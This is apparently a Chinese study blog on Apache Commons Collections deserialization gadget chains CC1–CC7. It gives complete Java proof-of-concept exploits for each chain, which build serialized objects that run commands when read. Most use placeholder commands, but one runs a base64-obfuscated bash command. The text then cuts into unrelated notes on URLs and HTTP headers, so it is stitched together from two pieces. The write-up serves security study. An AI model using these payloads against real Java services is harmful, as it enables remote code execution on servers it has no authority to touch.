Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);

// 创建代理对象proxy_map来代理map_handler,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

//再创建一个AnnotationInvocationHandler对象,用来触发代理对象proxy_map的方法执行,从而跳转AnnotationInvocationHandler.voker()
InvocationHandler handler = (InvocationHandler)handler_constructor.newInstance(Override.class,proxy_map);


try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

解析

AnnotationInvocationHandler.readObject()

image-20220803201921921

AnnotationInvocationHandler.invoke()

image-20220803203105622

LazyMap.get()

还是经典的链子CIR

image-20220801110714702

二、CC2

JAVA源码版本-8u40

image-20220805162929023

细节如下:

1
2
3
4
PriorityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Templateslmpl.newTransfomer()

PriorityQueuecommons-collections4下才开始有

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

限制

JDK版本:暂无

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CC2 {
public static void main(String[] args) throws Exception {
//构建字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);


Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};
setField(queue,"queue",queue_array);
setField(queue,"size",2);
//设置comparator为TransformingComparator,进入siftDownUsingComparator
setField(queue,"comparator",comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

PriorityQueue.readObject()

这里同理需要看一下writeObject函数

image-20220805165712958

也是对应读写的,所以可以利用反射设置PriorityQueuequeue,使其可控,然后进入下面的heapify()函数

PriorityQueue.heapify()

image-20220805170040301

再进入siftDown

PriorityQueue.siftDown()

其中comparator利用反射设置为TransformingComparator,随后进入siftDownUsingComparator函数

image-20220805170115164

PriorityQueue.siftDownUsingComparator()

调用到实现了Comparator接口的TransformingComparator.comparator()函数

image-20220805170501655

TransformingComparator.comparator()

那么之前利用反射设置了TransformingComparator.transformerInvokerTransformer,那么就可以调用到InvokerTransformer.transoform,并且其参数即为这里的obj1,也为PriorityQueue.queue,这个之前设置为了TemplatesImpl,即最后可调用到经典链子ITN,完成利用。

image-20220805170750082

三、CC3

JAVA源码版本-8u40

image-20220806110944484

细节如下

1
2
3
4
5
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()

之后的链子就是经典CITTN链了

限制

JDK版本:暂无

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC3 {

public static void main(String[] args) throws Exception {
//构建字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

// 创建一个与代理对象相关联的InvocationHandler map_handler
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);

// 创建代理对象proxy_map来代理map_handler,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

//再创建一个AnnotationInvocationHandler对象,用来触发代理对象proxy_map的方法执行,从而跳转AnnotationInvocationHandler.voker()
InvocationHandler handler = (InvocationHandler)handler_constructor.newInstance(Override.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

即按照CC1的前半部分链子加上经典的CITTN即可,不过多赘述了

四、CC4

JAVA源码版本-8u40

image-20220807120904293

细节如下:

1
2
3
4
5
PriorityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter构造函数

限制

JDK版本:暂无

PriorityQueuecommons-collections4下才开始有

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
//构建字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);


ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue();
//不用设置PriorityQueue.queue为TemplatesImpl,因为TrAXFilter构造函数可以直接触发
setField(queue,"size",2);
setField(queue,"comparator",comparator);


try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}



public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

感觉和CC2差不多,就是后面的利用链子,由于是TrAXFilter构造函数直接触发的,所以不用设置PriorityQueue.queueTemplatesImpl,没有什么太多的亮点。

五、CC5

JAVA源码版本-8u40

image-20220801095044379

细节如下

1
2
3
4
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()->getValue()
LazyMap.get()
ChainedTransformer.transform()

限制

JDK版本:暂无

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"./test.sh"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
//调用Get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
//BadAttributeValueExpException poc = new BadAttributeValueExpException(tiedmap);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

解析

BadAttributeValueExpException.readObject()

image-20220801110613623

valObj即为TiedMapEntry

TiedMapEntry.toString()->getValue()

image-20220801110414584

后续的map即为LazyMapkey123

image-20220801110428194

LazyMap.get()

还是经典的链子CIR

image-20220801110714702

🔺注

在设置BadAttributeValueExpException对象时,使用的是其中的Field来进行设置的

1
2
3
4
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

原因在于在BadAttributeValueExpException构造函数及readObject函数中,有如下代码

image-20220801151544294

这样就能在序列化时不进行本地RCE,而在服务器反序列化时进行RCE,因为如果在序列化时进行本地RCEval就会由于链子变成Runtime类,由于Runtime没办法直接序列化,所以其val就会变成如下执行命令结果的字符串,从而在反序列时没办法调用到TiedMapEntry.toString()

image-20220801151900635

对比原POC如下,其val在序列化时还是一个TiedMapEntry对象

image-20220801152047107

无数组

至于无数组版本的,即如下所示

image-20220802155244072

做点小改动,在TiedMapEntry中传入TemplatesImpl即可,确保在LazyMap.get()的时候,传入的keyTemplatesImpl,从而进行调用到对应的TemplatesImpl.newTransformer()

image-20220802154737033

相关POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import test.test;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC5T {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());//新建一个test类,没啥用
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,Li90ZXN0LnNo}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] bytes = ctClass.toBytecode();
TemplatesImpl tempIm = new TemplatesImpl();
setField(tempIm, "_name", "asd");
setField(tempIm, "_bytecodes", new byte[][]{bytes});
setField(tempIm, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invTransf = new InvokerTransformer("newTransformer", null, null);

HashMap innermap = new HashMap();

LazyMap map = (LazyMap)LazyMap.decorate(innermap,invTransf);
//调用Get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,tempIm);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
//BadAttributeValueExpException poc = new BadAttributeValueExpException(tiedmap);
setField(poc,"val",tiedmap);



try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

六、CC6

JAVA源码版本-8u40

image-20220801171443518

细节如下

1
2
3
4
5
HashSet.readObject()
HashMap.put()->hash()
TiedMapEntry.hashCode()->this.getValue()
LazyMap.get()
ChainedTransformer.transform()

限制

JDK版本:暂无限制

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class CC6 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"./test.sh"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TiedMapEntry tiedmap = new TiedMapEntry(map,123);

HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

解析

HashSet.readObject()

image-20220801171648405

这个map即设置为HashMap

HashMap.put()

image-20220801171743740

这个key后续设置为TiedMapEntry

image-20220801171856068

TiedMapEntry.hashCode()

image-20220801171928099

image-20220801171953683

这里的map即设置为Lazymap

LazyMap.get()

还是经典的链子CIR

image-20220801110714702

🔺注

1.Hashset设置

1
2
3
4
5
6
7
8
HashSet hashset = new HashSet(1);

//添加至少一个元素,方便后续获取
hashset.add("aaa");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

获取HashSetmap成员为hashset_map

2.HashMap设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//获取HashMap中的table,用来获取HashMap中保存的元素
//transient Node<K,V>[] table;
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);

//获取array为HashSet的成员map中保存的元素数组
Object[] array = (Object[])table.get(hashset_map);
//获取node为保存在hashset中的元素,其类为一个hashmap
Object node = array[0];
if(node == null){
node = array[1];
}

//设置hashset中的一个元素hashmap的key为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

3.writeObjectreadObject的关系

HashSetreadObject中可以看到,//..为省略的代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

int capacity = s.readInt();
//.....
float loadFactor = s.readFloat();
//.....
int size = s.readInt();
//.......
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

按理说,调用map.put,其函数如下,我们需要控制e(即下面的key)为TiedMapEntry才能调用到TiedMapEntry.hashCode

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

但是E e = (E) s.readObject();,也就是得看对应的HashSet.writeObject中将什么序列化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

可以看到,对应的写入map成员的capacityloadFactorsize以及其中的所有元素,同时在readObject也是依照顺序一一对应进行读取,如下所示

image-20220801175923980

所以在writeObject的时候,在HashSet中的map成员的元素可控,那么在readObject的时候,对应的元素也是可控的,可以设置为TiedMapEntry

所以在JAVA中的writeObjectreadObject是一一对应的,写入什么格式数据,就会依照什么格式数据读取。

CC3的HashMap版本

这边顺带提一下以下这两条链子,其实都差不多,大同小异,主要是前面的不太一样,直接借用HashMap来进行触发。

image-20220806174412815

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC3_O {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"touch ddd"})});

HashMap hashmap = new HashMap();
hashmap.put("aaa","bbb");
hashmap.put("ccc","ddd");
LazyMap map = (LazyMap)LazyMap.decorate(hashmap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashmap);

Object node = array[0];
if(node == null){
node = array[1];
}
setField(node,"key",tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3_o"));
outputStream.writeObject(hashmap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3_o"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

也没啥好说的,往HashMap中放两个元素,使其table不为空,方便取出node来设置TiedMapEntry即可。

其他的就相当于去掉了HashSetCC6了,触发点在HashMap.readObject()下的计算hash的地方

image-20220806175025930

七、CC7

JAVA源码版本-8u40

image-20220802153315688

细节如下:

1
2
3
4
Hashtable.readObject()->reconstitutionPut()
LazyMap.equals()==AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()

限制

JDK版本:暂无限制

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {

public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"touch bbbb"})
};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);

lazyMap1.put("zZ", 1);
lazyMap2.put("yy", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

setField(transformerChain,"iTransformers",transformers);

lazyMap2.remove("zZ");

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

Hashtable.readObject()

image-20220807102603926

Hashtable.reconstitutionPut()

image-20220807102732158

由于LazyMap继承了AbstractMapDecorator,所以会调用到其equals函数

LazyMap.equals()==AbstractMapDecorator.equals()

image-20220807102940029

这里的equals接着往下跳转就不知道为什么会直接跳到AbstractMap.equals()

AbstractMap.equals()

image-20220807103216037

LazyMap.get()

接着就是经典链子CCI了。

image-20220807103304810

🔺注

1.hashtable.put两次

由于需要在Hashtable.reconstitutionPut()中进入该循环,所以需要hashtable.put两次,

image-20220807104841649

2.反射设置CCI链子

如果直接进行设置,那么在本地hashtable.put的时候也会触发RCE,那么在hashtable.put之后再设置CCI链,就不会本地触发RCE了,这样是为了防止非预期的一些东西,就像在之前CC5中预防本地RCE一样。

image-20220807105255253

3.hash碰撞

为什么put的时候需要yyzZ,这样是为了使得其生成的hash相同,从而能够进行比较,在Hashtable.reconstitutionPut()中能够通过前面的hash相等条件

image-20220807114011896

当然换成其他的能够进行hash碰撞的也是一样的。

4.remove必要性

至于为什么需要lazyMap2.remove("zZ");简单来说,就是第一次hashtable.put的时候,由于hashtable.tablenull,无法进入循环到如下的equals函数触发LazyMap.get()

image-20220807112631117

但是第二次的时候就会进入比较函数

image-20220807112907832

从而进入到LazyMap.get()调用空的transform函数数组,返回一个key

image-20220807113208463

导致我们的LazyMap2会多一个key

image-20220807113425973

如果保留下来,就无法进入到在AbstractMap.equals对应触发漏洞的地方,在如下地方就直接没掉,那么就需要去掉lazyMap2下由于空的Transform数组调用多出来的一个key了,都是为了进行各种绕过。

image-20220807113545609

总结

感觉差不多了,没什么太多的地方需要慢慢学习了。

本菜鸡觉得CC链的学习主要就是分两部分吧

一部分是后面的用来调用命令的部分,我觉得叫命令链比较合适,比如这里写到的经典链子CCI,经典链子ITN之类的,这部分都大同小异,暂时就那一些。

另一部分就是从readObject调用到命令链的部分,这部分通常是需要需要慢慢挖掘的,主要的点就是找能调用到transform地方。

大三末实训

前言

实训的笔记,记录一下,防止忘记

网站URL

统一资源定位器(uniform resource locator),用来定位服务器的资源

标准格式:protocol://hostname[:port]/path/[?query]

http默认80端口

  • %[ascii]:此外+也代表空格,常用来转换&字符或者其他的一些特殊字符

    image-20220530112713188

  • base64编码:http环境下传递较长的标识信息

  • Hex编码:

协议HTTP

无状态的协议,通过cookiesession来进行相关的状态处理

(1)请求报文

①结构

image-20220530141434979

  • User-Agent:产生请求的浏览器类型,一般可以随意指定,但是当服务器方面有限制则会受到影响,比如爬虫进行检查
  • Accept:用户声明客户端可以处理的MIME类型,即文件类型
  • Accept-Encoding:用于声明客户端能够理解的内容编码方式
  • Accept-Language:用于声明客户端可以理解的自然语言
  • Cookie:存放用户的身份凭证
  • Content-Length:请求数据的长度,服务器端只会按照该字段进行长度解析,多余的截断。
  • Referer:当前访问URL的上一个URL,用户从什么地方来到该页面的

image-20220530142815202

②请求方法

